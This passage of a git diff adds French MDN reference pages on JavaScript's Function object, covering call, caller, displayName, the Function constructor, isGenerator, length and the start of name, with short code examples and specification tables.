+<p>Il est possible d'affecter un objet <code>this</code> différent lors de l'appel à une fonction existante. En général, <code>this</code> fait référence à l'objet courant, celui sur lequel est appelée la méthode. Avec <code>call</code>, on peut écrire une méthode une seule fois et ensuite en hériter dans un autre objet, sans avoir à réécrire cette méthode pour ce nouvel objet.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_call()_pour_chaîner_le_constructeur_d'un_objet.">Utiliser <code>call()</code> pour chaîner le constructeur d'un objet.</h3>
+
+<p>Il est possible d'utiliser <code>call</code> pour chaîner le constructeur d'un objet, de façon similaire à Java. Dans l'exemple suivant, le constructeur de l'objet <code>Product</code> est défini avec deux paramètres, <code>name</code> et <code>price</code>. Deux autres fonctions, <code>Food</code> et <code>Toy</code> invoquent <code>Product</code> en passant <code>this,</code> <code>name</code> et <code>price</code>. <code>Product</code> initialise les propriétés <code>name</code> et <code>price</code>, tandis que les fonctions spécialisées définissent la propriété <code>category</code>.</p>
+
+<pre class="brush: js">function Product(name, price) {
+  this.name = name;
+  this.price = price;
+}
+
+function Food(name, price) {
+  Product.call(this, name, price);
+  this.category = 'food';
+}
+
+function Toy(name, price) {
+  Product.call(this, name, price);
+  this.category = 'toy';
+}
+
+var cheese = new Food('feta', 5);
+var fun = new Toy('robot', 40);
+</pre>
+
+<h3 id="Utiliser_call()_pour_invoquer_une_fonction_anonyme">Utiliser <code>call()</code> pour invoquer une fonction anonyme</h3>
+
+<p>Dans cet exemple (purement inventé), on crée une fonction anonyme et on utilise <code>call</code> pour l'invoquer sur chaque objet d'un tableau. Le principal but de cette fonction anonyme est d'ajouter une fonction <code>print</code> sur chaque élément qui permet d'afficher l'index de l'objet. Le passage de l'objet en tant que valeur <code>this</code> n'était pas nécessaire, mais il permet d'expliquer le sujet.</p>
+
+<pre class="brush: js">var animaux = [
+  {espece: 'Lion', nom: 'Roi'},
+  {espece: 'Éléphant', nom: 'Dumbo'}
+];
+
+for (var i = 0; i &lt; animaux.length; i++) {
+  (function (i) {
+    this.print = function () {
+      console.log('#' + i  + ' ' + this.espece + ' : ' + this.nom);
+    }
+    this.print();
+  }).call(animaux[i], i);
+}
+</pre>
+
+<h3 id="Utiliser_call()_pour_appeler_une_fonction_avec_un_objet_pour_this">Utiliser <code>call()</code> pour appeler une fonction avec un objet pour <code>this</code></h3>
+
+<p>Dans l'exemple qui suit, on utilise la méthode <code>call()</code> sur la fonction <code>saluer()</code> afin de l'appliquer à l'objet <code>personne1</code> :</p>
+
+<pre class="brush: js">function saluer() {
+  var reponse = [this.nom, "est un", this.role, "."].join(" ");
+  console.log(reponse);
+}
+
+var personne1 = {
+  nom: "Sénèque",
+  role: "philosophe"
+};
+
+saluer.call(personne1); // Sénèque est un philosophe.
+</pre>
+
+<h3 id="Utiliser_call()_pour_appeler_une_fonction_sans_indiquer_de_premier_argument">Utiliser <code>call()</code> pour appeler une fonction sans indiquer de premier argument</h3>
+
+<p>Dans l'exemple qui suit, on appelle la fonction <code>afficher()</code> sans lui passer d'argument. C'est donc l'objet global qui est utilisé comme contexte :</p>
+
+<pre class="brush: js">var prenom = 'Archibald';
+
+function afficher() {
+  console.log('prenom vaut ' + this.prenom);
+}
+
+afficher.call(); // prenom est Archibald</pre>
+
+<div class="note">
+<p><strong>Note :</strong> La valeur de <code>this</code> sera {{jsxref("undefined")}} en mode strict.</p>
+
+<pre class="brush: js">'use strict';
+
+var prenom = 'Archibald';
+
+function afficher() {
+  console.log('prenom vaut ' + this.prenom);
+}
+
+afficher.call(); // Cannot read the property prenom' of undefined</pre>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.4', 'Function.prototype.call')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.call', 'Function.prototype.call')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.call', 'Function.prototype.call')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function.call")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Introduction_à_JavaScript_orienté_objet">Introduction à JavaScript orienté objet</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/caller/index.html b/files/fr/web/javascript/reference/objets_globaux/function/caller/index.html
new file mode 100644
index 0000000000..9956ad14ee
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/caller/index.html
@@ -0,0 +1,83 @@
+---
+title: Function.caller
+slug: Web/JavaScript/Reference/Objets_globaux/Function/caller
+tags:
+  - Function
+  - JavaScript
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/caller
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La propriété <code><strong><em>function</em>.caller</strong></code> renvoie la fonction qui a appelé la fonction donnée. Cette propriété est interdite en mode strict.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si la fonction <code>f</code> a été invoquée par du code situé au plus haut niveau, la valeur de <code>f.caller</code> sera {{jsxref("null")}}, sinon, ce sera la fonction qui a appelé <code>f</code>.</p>
+
+<p>Cette propriété remplace la propriété obsolète {{jsxref("Fonctions/arguments/caller", "arguments.caller")}} de l'objet {{jsxref("Fonctions/arguments", "arguments")}}.</p>
+
+<p>La propriété spéciale <code>__caller__</code> qui renvoyait l'objet qui dans lequel était fait l'appel a été supprimée pour des raisons de sécurités.</p>
+
+<h3 id="Notes">Notes</h3>
+
+<p>Dans une fonction récursive, cette propriété ne peut pas être utilisée pour reconstituer la pile d'appels (<em>call stack</em>). Par exemple, si on a :</p>
+
+<pre class="brush: js">function f(n) { g(n - 1); }
+function g(n) { if (n &gt; 0) { f(n); } else { stop(); } }
+f(2);
+</pre>
+
+<p>Au moment où <code>stop()</code> est appelé, la pile sera :</p>
+
+<pre class="eval">f(2) -&gt; g(1) -&gt; f(1) -&gt; g(0) -&gt; stop()
+</pre>
+
+<p>Et ceci est vrai :</p>
+
+<pre class="eval">stop.caller === g &amp;&amp; f.caller === g &amp;&amp; g.caller === f
+</pre>
+
+<p>Donc si on essaie d'obtenir la pile de cette façon :</p>
+
+<pre class="brush: js">var f = stop;
+var stack = 'Stack trace:';
+while (f) {
+  stack += '\n' + f.name;
+  f = f.caller;
+}
+</pre>
+
+<p>la boucle ne s'arrêterait jamais.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Vérifier_la_valeur_de_la_propriété_caller">Vérifier la valeur de la propriété <code>caller</code></h3>
+
+<p>Dans l'exemple suivant, on verifie la propriété <code>caller</code> de la fonction.</p>
+
+<pre class="brush: js">function maFonction() {
+  if (maFonction.caller == null) {
+    return 'Fonction appelée au plus haut niveau !';
+  } else {
+    return 'Fonction appelée par ' + maFonction.caller;
+  }
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification. Implémentée avec JavaScript 1.5.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function.caller")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Le bug d'implémentation pour SpiderMonkey {{bug(65683)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/displayname/index.html b/files/fr/web/javascript/reference/objets_globaux/function/displayname/index.html
new file mode 100644
index 0000000000..dc9f7fc870
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/displayname/index.html
@@ -0,0 +1,81 @@
+---
+title: Function.displayName
+slug: Web/JavaScript/Reference/Objets_globaux/Function/displayName
+tags:
+  - Function
+  - JavaScript
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/displayName
+---
+<div>{{JSRef}} {{Non-standard_header}}</div>
+
+<p>La propriété <code><strong><em>function</em>.displayName</strong></code> renvoie le nom affiché de la fonction.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Lorsque la propriété <code>displayName</code> est définie, elle renvoie le nom affiché de la fonction :</p>
+
+<pre class="brush:js">function faireTruc() { }
+
+console.log(faireTruc.displayName); // "undefined"
+
+var logMessage = function(contenu) { console.log(contenu) };
+
+logMessage.displayName = 'Afficher les messages dans le journal';
+
+console.log(logMessage.displayName); // "Afficher les messages dans le journal"
+</pre>
+
+<p>Il est possible de définir une fonction avec un nom d'affichage grâce à une {{jsxref("Fonctions", "expression de fonctions","",1)}}:</p>
+
+<pre class="brush:js">var objet = {
+  uneMéthode: function () {}
+};
+
+objet.uneMéthode.displayName = 'uneMéthode';
+
+console.log(objet.uneMéthode.displayName);
+// "uneMéthode"
+
+try { uneMéthode } catch(e) { console.log(e); }
+// ReferenceError: uneMéthode is not defined
+</pre>
+
+<p>La propriété <code>displayName</code> peut être changée dynamiquement :</p>
+
+<pre class="brush:js">var objet = {
+  // anonyme
+  uneMéthode: function(valeur) {
+    this.displayName = "uneMéthode (" + valeur + ")";
+  }
+};
+
+console.log(objet.uneMéthode.displayName); // "undefined"
+
+objet.uneMéthode("123")
+console.log(objet.uneMéthode.displayName); // "uneMéthode (123)"
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>On souhaite généralement utiliser cette propriété dans les consoles et profileurs plutôt que {{jsxref("Function.name", "func.name")}}</p>
+
+<p>Le code suivant devrait afficher quelque chose comme "function Ma Fonction()":</p>
+
+<pre class="brush:js">var a = function () { };
+a.displayName = 'Ma Fonction';
+
+a;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>N'appartient à aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function.displayName")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/index.html b/files/fr/web/javascript/reference/objets_globaux/function/index.html
new file mode 100644
index 0000000000..01c2a34869
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/index.html
@@ -0,0 +1,153 @@
+---
+title: Function
+slug: Web/JavaScript/Reference/Objets_globaux/Function
+tags:
+  - Constructor
+  - Function
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <code><strong>Function</strong></code> crée un nouvel <em>objet</em> <code>Function</code>. En JavaScript, chaque fonction est un objet <code>Function</code>.</p>
+
+<p>Appeler ce constructeur permet de créer des fonctions dynamiquement mais cette méthode souffre de défauts équivalents à {{jsxref("eval")}} en termes de sécurité et de performance. Toutefois, à la différence d'<code>eval</code>, le constructeur <code>Function</code> permet d'exécuter du code dans la portée globale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/function-constructor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Function ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] corpsFonction)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Les noms utilisés par la fonction pour les arguments formellement déclarés. Chacun doit être une chaîne de caractères correspondant à un identifiant JavaScript valide (ou une liste de telles chaînes séparées par des virgules). Par exemple : "<code>x</code>", "<code>uneValeur</code>", ou "<code>a,b</code>".</dd>
+ <dt><code>corpsFonction</code></dt>
+ <dd>Une chaîne de caractères qui contient les instructions JavaScript définissant la fonction.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Les objets <code>Function</code> créés avec le constructeur <code>Function</code> sont analysés quand la fonction est créée. Ceci est moins efficace que de déclarer une fonction grâce à une {{jsxref("Opérateurs/L_opérateur_function","expression de fonction","",1)}} ou à une instruction {{jsxref("Instructions/function","function")}} car celles crées de cette façon sont analysées avec le reste du code.</p>
+
+<p>Tous les arguments passés à la fonction seront traités avec les noms des identifiants des paramètres de la fonction à créer, dans le même ordre dans lequel ils ont été passés. Si un argument n'est pas passé, la valeur du paramètre dans la fonction sera {{jsxref("undefined")}}.</p>
+
+<p>Appeler le constructeur <code>Function</code> comme une fonction (c'est-à-dire sans utiliser l'opérateur {{jsxref("Opérateurs/L_opérateur_new","new")}}) a le même effet que quand il est appelé comme constructeur.</p>
+
+<h2 id="Propriétés_et_méthodes_de_Function">Propriétés et méthodes de <code>Function</code></h2>
+
+<p>L'objet global <code>Function</code> ne possède pas de méthodes ou de propriétés propres. Cependant, il est lui-même une fonction et hérite de certaines méthodes et propriétés depuis {{jsxref("Function.prototype")}} grâce à la chaîne de prototype.</p>
+
+<h2 id="Le_prototype_de_Function">Le prototype de <code>Function</code></h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/prototype', 'Propri.C3.A9t.C3.A9s')}}</div>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/prototype', 'M.C3.A9thodes')}}</div>
+
+<h2 id="Les_instances_de_Function">Les instances de <code>Function</code></h2>
+
+<p>Les instances de <code>Function</code> héritent des méthodes et propriétés de {{jsxref("Function.prototype")}}. Comme pour les autres constructeurs, il est possible de modifier le prototype du constructeur afin d'apporter des modifications à toutes les instances de <code>Function</code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Définir_des_arguments_avec_le_constructeur_Function">Définir des arguments avec le constructeur <code>Function</code></h3>
+
+<p>Le code suivant permet de créer un objet <code>Function</code> qui utilise deux arguments :</p>
+
+<pre class="brush: js">// Cet exemple peut être lancé dans votre console JavaScript
+
+// On crée un fonction qui prend deux arguments
+// et qui en renvoie la somme
+var ajoute = new Function('a', 'b', 'return a + b');
+
+// On appelle la fonction
+ajoute(2, 6);
+// &gt; 8
+</pre>
+
+<p>Les arguments "<code>a</code>" et "<code>b</code>" sont les noms des arguments formellement déclarés utilisés dans le corps de la fonction : "<code>return a + b</code>".</p>
+
+<h3 id="Différence_entre_le_constructeur_Function_et_les_déclarations_de_fonction">Différence entre le constructeur <code>Function</code> et les déclarations de fonction</h3>
+
+<p>Les fonctions créées avec le constructeur {{jsxref("Function()")}} ne créent pas de fermetures liées au contexte de leur création. Ainsi, lorsqu'elles sont exécutées, elles ne peuvent accéder qu'aux variables globales et à leurs propres valeurs locales. Elles ne peuvent pas accéder aux variables de la portée dans laquelle le constructeur <code>Function</code> a été invoqué. Le comportement est différent de celui qu'on obtient avec {{jsxref("eval")}} avec du code contenant une expression de fonction.</p>
+
+<pre class="brush: js">var x = 10;
+
+function créerFonction1() {
+  var x = 20;
+  return new Function("return x;"); // ici |x| fait référence au |x| global
+}
+
+function créerFonction2() {
+  var x = 20;
+  function f() {
+    return x; // ici |x| fait référence au |x| local juste avant
+  }
+  return f;
+}
+
+var f1 = créerFonction1();
+console.log(f1());          // 10
+var f2 = créerFonction2();
+console.log(f2());          // 20</pre>
+
+<p>Bien que ce code fonctionne dans un navigateur web, l'appel à <code>f1()</code> provoquera une {{jsxref("ReferenceError")}} dans Node.js car <code>x</code> ne sera pas trouvé. En effet, pour Node, la portée de plus haut niveau n'est pas la portée globale et <code>x</code> est ici local à la fonction.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3', 'Function')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-objects', 'Function')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-objects', 'Function')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Fonctions", "Les fonctions","",1)}}</li>
+ <li>L'instruction {{jsxref("Instructions/function", "function")}}</li>
+ <li>L'expression {{jsxref("Opérateurs/L_opérateur_function", "function")}}</li>
+ <li>L'instruction {{jsxref("Instructions/function*", "function*")}}</li>
+ <li>L'expression {{jsxref("Opérateurs/function*", "function*")}}</li>
+ <li>{{jsxref("AsyncFunction")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/isgenerator/index.html b/files/fr/web/javascript/reference/objets_globaux/function/isgenerator/index.html
new file mode 100644
index 0000000000..2c483e93ec
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/isgenerator/index.html
@@ -0,0 +1,53 @@
+---
+title: Function.prototype.isGenerator()
+slug: Web/JavaScript/Reference/Objets_globaux/Function/isGenerator
+tags:
+  - Function
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Archive/Web/JavaScript/Function.isGenerator
+---
+<div>{{JSRef}} {{Non-standard_header}}</div>
+
+<p>La méthode non-standard <code><strong>isGenerator()</strong></code> permettait de déterminer si une fonction était un <a href="/fr/docs/JavaScript/Guide/iterateurs_et_generateurs#Les_g.C3.A9n.C3.A9rateurs_.3A_des_it.C3.A9rateurs_sous_st.C3.A9ro.C3.AFdes">générateur</a>. Cette fonction a été retirée de Firefox à partir de Firefox 58.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>fun</var>.isGenerator()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen indiquant si la fonction appelante est un générateur.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>isGenerator()</code> permet de déterminer si la fonction <em><code>fun</code></em> est un <a href="/fr/docs/JavaScript/Guide/iterateurs_et_generateurs#Les_g.C3.A9n.C3.A9rateurs_.3A_des_it.C3.A9rateurs_sous_st.C3.A9ro.C3.AFdes">générateur</a>. Elle faisait partie des propositions pour Harmony mais n'a pas été retenue pour la spécification ECMAScript 2015.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">function f () { }
+
+function* g () {
+  yield 42;
+}
+
+console.log("f.isGenerator() = " + f.isGenerator()); // f.isGenerator() = false
+console.log("g.isGenerator() = " + g.isGenerator()); // g.isGenerator() = true
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette méthode ne fait partie d'aucune spécification. Elle a été implémentée avec JavaScript 1.8.6.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function.isGenerator")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/JavaScript/Guide/iterateurs_et_generateurs" title="JavaScript/Guide/Iterators and Generators">Itérateurs et générateurs</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/length/index.html b/files/fr/web/javascript/reference/objets_globaux/function/length/index.html
new file mode 100644
index 0000000000..023b40a5f8
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/length/index.html
@@ -0,0 +1,89 @@
+---
+title: Function.length
+slug: Web/JavaScript/Reference/Objets_globaux/Function/length
+tags:
+  - Function
+  - JavaScript
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/length
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>length</strong></code> définit le nombre de paramètres attendus par la fonction.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/function-length.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p><code>length</code> est une propriété des fonctions qui indique le nombre d'arguments attendus par la fonction (ce qui correspond au nombre d'arguments formellement déclarés). Cette quantité n'inclue pas les {{jsxref("Fonctions/paramètres_du_reste", "paramètres du reste", "", 1)}} et ne compte que les paramètres situés avant le premier paramètre avec une valeur par défaut. Cette propriété est différente de {{jsxref("Fonctions/arguments/length", "arguments.length")}} qui est locale à la fonction et qui décrit le nombre d'arguments réellement passés à la fonction.</p>
+
+<h3 id="Propriété_du_constructeur_Function">Propriété du constructeur <code>Function</code></h3>
+
+<p>Le constructeur {{jsxref("Function")}} est lui-même un objet {{jsxref("Function")}}. Sa propriété<code> length</code> vaut 1. Les attributs de cette propriété sont : Écrivable : <code>false</code>, Énumérable : <code>false</code>, Configurable : <code>true</code>.</p>
+
+<h3 id="Propriété_du_prototype_de_Function">Propriété du prototype de <code>Function</code></h3>
+
+<p>La propriété <code>length</code> du prototype de {{jsxref("Function")}} vaut 0.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">console.log(Function.length); /* 1 */
+
+console.log((function()        {}).length); /* 0 */
+console.log((function(a)       {}).length); /* 1 */
+console.log((function(a, b)    {}).length); /* 2 etc. */
+console.log((function(...args) {}).length);
+// 0, le paramètre du reste n'est pas compté
+console.log((function(a, b = 1, c) {}).length);
+// 1, seuls les paramètres avant les valeurs par
+// défaut sont comptés
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.5.1', 'Function.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-instances-length', 'Function.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>L'attribut <code>configurable</code> de cette propriété vaut <code>true</code> désormais.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-instances-length', 'Function.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function.length")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Function", "Function")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/name/index.html b/files/fr/web/javascript/reference/objets_globaux/function/name/index.html
new file mode 100644
index 0000000000..b9b6f8300e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/name/index.html
@@ -0,0 +1,201 @@
+---
+title: Function.name
+slug: Web/JavaScript/Reference/Objets_globaux/Function/name
+tags:
+  - ECMAScript 2015
+  - Function
+  - JavaScript
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/name
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong><em>function</em>.name</strong></code> est une propriété en lecture seule qui renvoie le nom de la fonction courante ou <code>"anonymous"</code> si celle-ci a été créée de façon anonyme.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/function-name.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<div class="note">
+<p><strong>Note :</strong> Dans les implémentations non-standards antérieures à ES2015, l'attribut <code>configurable</code> valait <code>false</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Instruction_de_fonction">Instruction de fonction</h3>
+
+<p>La propriété <code>name</code> renvoie le nom de la fonction lorsque celle-ci est utilisée dans une instruction de fonction.</p>
+
+<pre class="brush: js">function faireUnTruc() {}
+faireUnTruc.name; // "faireUnTruc"
+</pre>
+
+<h3 id="Fonctions_créées_avec_un_constructeur">Fonctions créées avec un constructeur</h3>
+
+<p>Lorsqu'on crée une fonction avec <code>new Function(...)</code> ou simplement <code>Function(...)</code>, on crée uniquement des objets dont le nom est "anonymous".</p>
+
+<pre class="brush: js">(new Function).name; // "anonymous"</pre>
+
+<h3 id="Inférence_des_noms_de_fonction">Inférence des noms de fonction</h3>
+
+<p>Les variables et les méthodes permettent d'inférer (c'est-à-dire de « deviner ») le nom des fonctions anonymes en fonction de leur position syntaxique (cette fonctionnalité est apparue avec ECMAScript 2015).</p>
+
+<pre class="brush: js">var f = function() {};
+var objet = {
+  uneMéthode: function() {}
+};
+
+console.log(f.name); // "f"
+console.log(objet.uneMéthode.name); // "uneMéthode"
+</pre>
+
+<p>On peut définir une fonction avec un nom grâce à une {{jsxref("Opérateurs/L_opérateur_function", "expression de fonction", "", 1)}}:</p>
+
+<pre class="brush: js">var objet = {
+  uneMéthode: function objet_maMéthode() {}
+};
+console.log(objet.uneMéthode.name); // logs "objet_maMéthode"
+
+try { objet_maMéthode } catch(e) { console.log(e); }
+// ReferenceError: objet_maMéthode is not defined
+</pre>
+
+<p>On ne peut pas changer le nom d'une fonction, cette propriété est uniquement en lecture :</p>
+
+<pre class="brush: js">var objet = {
+  // anonyme
+  uneMéthode: function() {}
+};
+
+objet.uneMéthode.name = 'uneMéthode';
+console.log(object.uneMéthode.name); // une chaîne vide, uneMéthode est anonyme
+</pre>
+
+<p>Pour modifier le nom, on pourrait cependant utiliser la méthode {{jsxref("Object.defineProperty()")}}.</p>
+
+<h3 id="Notation_raccourcie_pour_les_méthodes">Notation raccourcie pour les méthodes</h3>
+
+<pre class="brush: js">var o = {
+  toto(){}
+};
+o.toto.name; // "toto";</pre>
+
+<h3 id="Noms_des_fonctions_liées">Noms des fonctions liées</h3>
+
+<p>{{jsxref("Function.bind()")}} produit une fonction dont le nom sera la chaîne "bound " suivi du nom de la fonction.</p>
+
+<pre class="brush: js">function toto() {};
+toto.bind({}).name; // "bound toto"
+</pre>
+
+<h3 id="Noms_de_fonction_pour_les_accesseurs_et_les_mutateurs">Noms de fonction pour les accesseurs et les mutateurs</h3>
+
